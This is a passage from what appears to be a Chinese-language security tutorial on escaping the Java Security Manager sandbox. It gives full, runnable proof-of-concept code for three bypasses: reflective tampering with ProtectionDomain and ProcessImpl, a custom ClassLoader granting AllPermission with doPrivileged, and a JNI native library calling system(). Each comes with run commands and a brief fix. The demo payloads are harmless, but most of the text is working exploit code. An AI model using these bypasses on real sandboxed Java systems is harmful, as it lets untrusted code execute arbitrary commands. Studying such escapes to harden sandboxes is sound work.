6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.security.ProtectionDomain;
import java.util.Map;

public class BypassSandbox {
public static void main(String[] args) throws Exception {
System.out.println("[*]Running setHasAllPerm0()");
setHasAllPerm0("calc");
}

public static void setHasAllPerm0(String command) throws Exception {
StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace();
//遍历栈帧
for (StackTraceElement stackTraceElement : stackTraceElements) {
try {
Class clz = Class.forName(stackTraceElement.getClassName());
//利用反射调用getProtectionDomain0方法
Method getProtectionDomain = clz.getClass().getDeclaredMethod("getProtectionDomain0", null);
getProtectionDomain.setAccessible(true);
ProtectionDomain pd = (ProtectionDomain) getProtectionDomain.invoke(clz);

if (pd != null) {
Field field = pd.getClass().getDeclaredField("hasAllPerm");
field.setAccessible(true);
field.set(pd, true);
}
} catch (Exception e) {
e.printStackTrace();
}
}

Runtime.getRuntime().exec(command);
}
}

运行即可绕过getProtectionDomain()方法的过滤和安全管理器的限制执行命令弹计算器:

Bypass利用——ProcessImpl

有些方法的实现是,在public方法里面调用Security Manager检查权限,然后调用一个protect或者private方法实现功能。这样,攻击者可以直接反射实现功能的方法,绕过Security Manager的检查。例如平时我们调用Runtime.getRuntime().exec(command),其实际的代码实现如下,是调用的ProcessBuilder.start()实现的:

1
2
3
4
5
6
7
public Process exec(String[] cmdarray, String[] envp, File dir)
throws IOException {
return new ProcessBuilder(cmdarray)
.environment(envp)
.directory(dir)
.start();
}

点进ProcessBuilder.start()函数中看其实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
public Process start() throws IOException {
// Must convert to array first -- a malicious user-supplied
// list might try to circumvent the security check.
String[] cmdarray = command.toArray(new String[command.size()]);
cmdarray = cmdarray.clone();

for (String arg : cmdarray)
if (arg == null)
throw new NullPointerException();
// Throws IndexOutOfBoundsException if command is empty
String prog = cmdarray[0];

SecurityManager security = System.getSecurityManager();
if (security != null)
security.checkExec(prog);

String dir = directory == null ? null : directory.toString();

for (int i = 1; i < cmdarray.length; i++) {
if (cmdarray[i].indexOf('\u0000') >= 0) {
throw new IOException("invalid null character in command");
}
}

try {
return ProcessImpl.start(cmdarray,
environment,
dir,
redirects,
redirectErrorStream);
} catch (IOException | IllegalArgumentException e) {
String exceptionInfo = ": " + e.getMessage();
Throwable cause = e;
if ((e instanceof IOException) && security != null) {
// Can not disclose the fail reason for read-protected files.
try {
security.checkRead(prog);
} catch (SecurityException se) {
exceptionInfo = "";
cause = se;
}
}
// It's much easier for us to create a high-quality error
// message than the low-level C code which found the problem.
throw new IOException(
"Cannot run program \"" + prog + "\""
+ (dir == null ? "" : " (in directory \"" + dir + "\")")
+ exceptionInfo,
cause);
}
}

可以看到,显示检查了是否有执行命令的权限,然后实际是调用了ProcessImpl.start()方法来实现命令执行。也就是说,完成功能的是ProcessImpl.start()方法,而在这个方法调用之前,Java Security Manager就已经完成了检测。因此,当我们直接反射调用这个方法时,就能成功绕过Java Security Manager的检测过滤。

BypassSandbox类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.security.ProtectionDomain;
import java.util.Map;

public class BypassSandbox {
public static void main(String[] args) throws Exception {
System.out.println("[*]Running reflectProcessImpl()");
reflectProcessImpl("calc");
}

public static void reflectProcessImpl(String command) throws Exception {
Class clz = Class.forName("java.lang.ProcessImpl");
Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
method.setAccessible(true);
method.invoke(clz, new String[]{command}, null, null, null, false);
}
}

运行即可绕过安全管理器的限制执行命令弹计算器:

1
java -Djava.security.manager -Djava.security.policy="E:\\my.policy" BypassSandbox

修复方法

不授予accessDeclaredMembers权限和suppressAccessChecks权限。

然而在Java中,反射是一个非常常见的操作,如果由于业务需要,无法禁用反射,但可以设置禁止反射的方法和变量的黑名单。比如前面调试分析的在sun.reflect.Reflection中定义了静态的methodFilterMap和fieldMethodMap,在这里面的方法和变量禁止反射。sun.reflect.Reflection还提供了几个方法,可以往methodFilterMap和fieldMethodMap中添加自定义的黑名单。代码如下:

1
2
3
4
5
6
public static synchronized void registerFieldsToFilter(Class<?> var0, String... var1) {
fieldFilterMap = registerFilter(fieldFilterMap, var0, var1);
}
public static synchronized void registerMethodsToFilter(Class<?> var0, String... var1) {
methodFilterMap = registerFilter(methodFilterMap, var0, var1);
}

这样,只需要在加载恶意代码之前,把禁止反射的黑名单加入这两个Map即可。

创建ClassLoader绕过

Bypass利用

一个类的ProtectionDomain在这个类被ClassLoader加载时初始化。

如果我们能自定义一个ClassLoader来加载一个恶意类,并且把它的ProtectionDomain里面的权限初始化成所有权限,这样就能绕过Java Security Manager了。然而,当这个恶意类被调用时,它仅仅是栈中的一个栈帧,在它下面的栈帧对应的权限仍是policy文件指定的权限。

这个时候就是doPrivileged()发挥作用的时候了。AccessController会自顶向下遍历栈帧,如果遍历到doPrivileged,它会检查到调用doPrivileged()方法的栈帧为止。只要我们在恶意类中调用doPrivileged()方法,AccessController只会向下遍历检查到恶意类所在的栈帧,而恶意类对应的权限是所有权限,这样就可以绕过Java Security Manager了。

假设开发者自定义的策略文件my.policy,设置了createClassLoader权限和任意文件读取权限:

1
2
3
4
grant{
permission java.lang.RuntimePermission "createClassLoader";
permission java.io.FilePermission "<<ALL FILES>>", "read";
};

Exploit类,静态代码中调用AccessController.doPrivileged()函数,其中执行恶意命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import java.security.AccessController;
import java.security.PrivilegedAction;

public class Exploit {
public Exploit() {

}

static {
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
try {
Process process = Runtime.getRuntime().exec("calc");
return null;
} catch (Exception var2) {
var2.printStackTrace();
return null;
}
}
});
}
}

MyClassLoader类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.nio.ByteBuffer;
import java.nio.channels.Channels;
import java.nio.channels.FileChannel;
import java.nio.channels.WritableByteChannel;
import java.security.*;
import java.security.cert.Certificate;

public class MyClassLoader extends ClassLoader {
public MyClassLoader() {
}

public MyClassLoader(ClassLoader parent) {
super(parent);
}

@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
File file = getClassFile(name);
try {
byte[] bytes = getClassBytes(file);
//在这里调用defineClazz,而不是super.defineClass
Class<?> c = defineClazz(name, bytes, 0, bytes.length);
return c;
} catch (Exception e) {
e.printStackTrace();
}

return super.findClass(name);
}

protected final Class<?> defineClazz(String name, byte[] b, int off, int len) throws ClassFormatError {
try {
PermissionCollection pc = new Permissions();
pc.add(new AllPermission());

//设置ProtectionDomain
ProtectionDomain pd = new ProtectionDomain(new CodeSource(null, (Certificate[]) null),
pc, this, null);
return this.defineClass(name, b, off, len, pd);
} catch (Exception e) {
return null;
}
}

private File getClassFile(String name) {
File file = new File("./" + name + ".class");
return file;
}

private byte[] getClassBytes(File file) throws Exception {
FileInputStream fis = new FileInputStream(file);
FileChannel fc = fis.getChannel();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
WritableByteChannel wbc = Channels.newChannel(baos);
ByteBuffer by = ByteBuffer.allocate(1024);

while (true) {
int i = fc.read(by);
if (i == 0 || i == -1) {
break;
}

by.flip();
wbc.write(by);
by.clear();
}
fis.close();
return baos.toByteArray();
}
}

BypassSandbox类:

1
2
3
4
5
6
7
8
public class BypassSandbox {
public static void main(String[] args) throws Exception {
MyClassLoader mcl = new MyClassLoader();
Class<?> c1 = Class.forName("Exploit", true, mcl);
Object obj = c1.newInstance();
System.out.println(obj.getClass().getClassLoader());
}
}

此时尝试运行会发现报错:

1
java -Djava.security.manager -Djava.security.policy="E:\\my.policy" BypassSandbox

具体执行失败的原因可以参考threedr3am大佬的解释:自定义ClassLoader绕过poc为什么很多人执行出现问题的缘由 #2

一个简单的解决办法就是,在自定义的ClassLoader中重写loadClass()方法:

1
2
3
4
5
6
7
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if (name.contains("Exploit")) {
return findClass(name);
}
return super.loadClass(name);
}

再试一下就OK了:

修复方法

禁止createClassLoader权限。

调用本地方法绕过

Bypass利用

Java Security Manager是在Java核心库中的一个功能,而Java中native方法是由JVM执行的,不受Java Security Manager管控。因此,我们可以调用Java native方法,绕过Java Security Manager。

my.policy,允许loadLibrary以及根目录下任意文件读权限:

1
2
3
4
grant{
permission java.lang.RuntimePermission "loadLibrary.*";
permission java.io.FilePermission "/root/-", "read";
};

EvilMethodClass类,声明一个native方法:

1
2
3
4
5
6
7
8
9
10
package com.evil;

public class EvilMethodClass {
//加载动态链接库
static {
System.load("/root/libEvilMethodClass.so");
}
//声明一个native方法
public static native String evilMethod(String name);
}

生成.h头:

1
2
3
javac src/com/evil/EvilMethodClass.java -d ./bin
javah -jni -classpath ./bin -d ./jni com.evil.EvilMethodClass
javah -jni -classpath ./bin -o EvilMethodClass.h com.evil.EvilMethodClass

新建EvilMethodClass.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include "com_evil_EvilMethodClass.h"
#include<stdlib.h>

#ifdef __cplusplus
extern "C"
{
#endif


JNIEXPORT jstring JNICALL Java_com_evil_EvilMethodClass_evilMethod(
JNIEnv *env, jclass cls, jstring j_str)
{
const char *c_str = NULL;
char buff[128] = { 0 };
c_str = (*env)->GetStringUTFChars(env, j_str, NULL);
if (c_str == NULL)
{
printf("out of memory.n");
return NULL;
}
//在这里执行系统命令
system(c_str);
(*env)->ReleaseStringUTFChars(env, j_str, c_str);
return (*env)->NewStringUTF(env, buff);
}
#ifdef __cplusplus
}
#endif

编译,生成动态链接库,然后放到/root/目录下:

1
gcc -I$JAVA_HOME/include -I$JAVA_HOME/include/linux -fPIC -shared EvilMethodClass.c -o libEvilMethodClass.so

Poc.java:

1
2
3
4
5
public class Poc {
public static void main(String[] args){
EvilMethodClass.evilMethod("whoami");
}
}

这里将Poc.java和EvilMethodClass.java一同打包成jar,然后在Kali中运行即可绕过Java Security Manager:

1
java -Djava.security.manager -Djava.security.policy=my.policy -jar exp.jar

修复方案

不授予loadLibrary权限。

0x04 参考

java中的安全模型(沙箱机制)

java沙箱绕过

Twenty years of Escaping the Java Sandbox

Java沙箱逃逸走过的二十个春秋(一)

0x05 附录

A

权限名 用途说明
accessClassInPackage. 允许代码访问指定包中的类
accessDeclaredMembers 允许代码使用反射访问其他类中私有或保护的成员
createClassLoader 允许代码实例化类加载器
createSecurityManager 允许代码实例化安全管理器,它将允许程序化的实现对沙箱的控制
defineClassInPackage. 允许代码在指定包中定义类
exitVM 允许代码关闭整个虚拟机
getClassLoader 允许代码访问类加载器以获得某个特定的类
getProtectionDomain 允许代码访问保护域对象以获得某个特定类
loadlibrary. 允许代码装载指定类库
modifyThread 允许代码调整指定的线程参数
modifyThreadGroup 允许代码调整指定的线程组参数
queuePrintJob 允许代码初始化一个打印任务
readFileDescriptor 允许代码读文件描述符(相应的文件是由其他保护域中的代码打开的)
setContextClassLoader 允许代码为某线程设置上下文类加载器
setFactory 允许代码创建套接字工厂
setIO 允许代码重定向System.in、System.out或System.err输入输出流
setSecurityManager 允许代码设置安全管理器
stopThread 允许代码调用线程类的stop()方法
writeFileDescriptor 允许代码写文件描述符

B

权限名 用途说明
accessClipboard 允许访问系统的全局剪贴板
accessEventQueue 允许直接访问事件队列
createRobot 允许代码创建AWT的Robot类
listenToAllAWTEvents 允许代码直接监听事件分发
readDisplayPixels 允许AWT Robot读显示屏上的像素
showWindowWithoutWarningBanner 允许创建无标题栏的窗口

C

权限名 用途说明
specifyStreamHandler 允许在URL类中安装新的流处理器
setDefaultAuthenticator 可以安装鉴别类
requestPassworkAuthentication 可以完成鉴别

D

权限名 用途说明
addIdentityCertificate 为Identity增加一个证书
clearProviderProperties. 针对指定的提供者,删除所有属性
createAccessControlContext 允许创建一个存取控制器的上下文环境
getDomainCombiner 允许撤销保护域
getPolicy 检索可以实现沙箱策略的类
getProperty. 读取指定的安全属性
getSignerPrivateKey 由Signer对象获取私有密钥
insertProvider. 将指定的提供者添加到响应的安全提供者组中
loadProviderProperties. 装载指定的提供者的属性
printIdentity 打印Identity类内容
putAllProviderProperties. 更新指定的提供者的属性
putProviderProperty. 为指定的提供者增加一个属性
removeIdentityCertificate 取消Identity对象的证书
removeProvider. 将指定的提供者从相应的安全提供者组中删除
removeProviderProperty. 删除指定的安全提供者的某个属性
setIdentityInfo 为某个Identity对象设置信息串
setIdentityPublicKey 为某个Identity对象设置公钥
setPolicy 设置可以实现沙箱策略的类
setProperty. 设置指定的安全属性
setSignerKeyPair 在Signer对象中设置密钥对
setSystemScope 设置系统所用的IdentityScope

E

权限名 用途说明
enableSubstitution 允许实现ObjectInputStream类的enableResolveObject()方法和ObjectOutputStream类的enableReplaceObject()方法
enableSubclassImplementation 允许ObjectInputStream和ObjectOutputStream创建子类,子类可以覆盖readObject()和writeObject()方法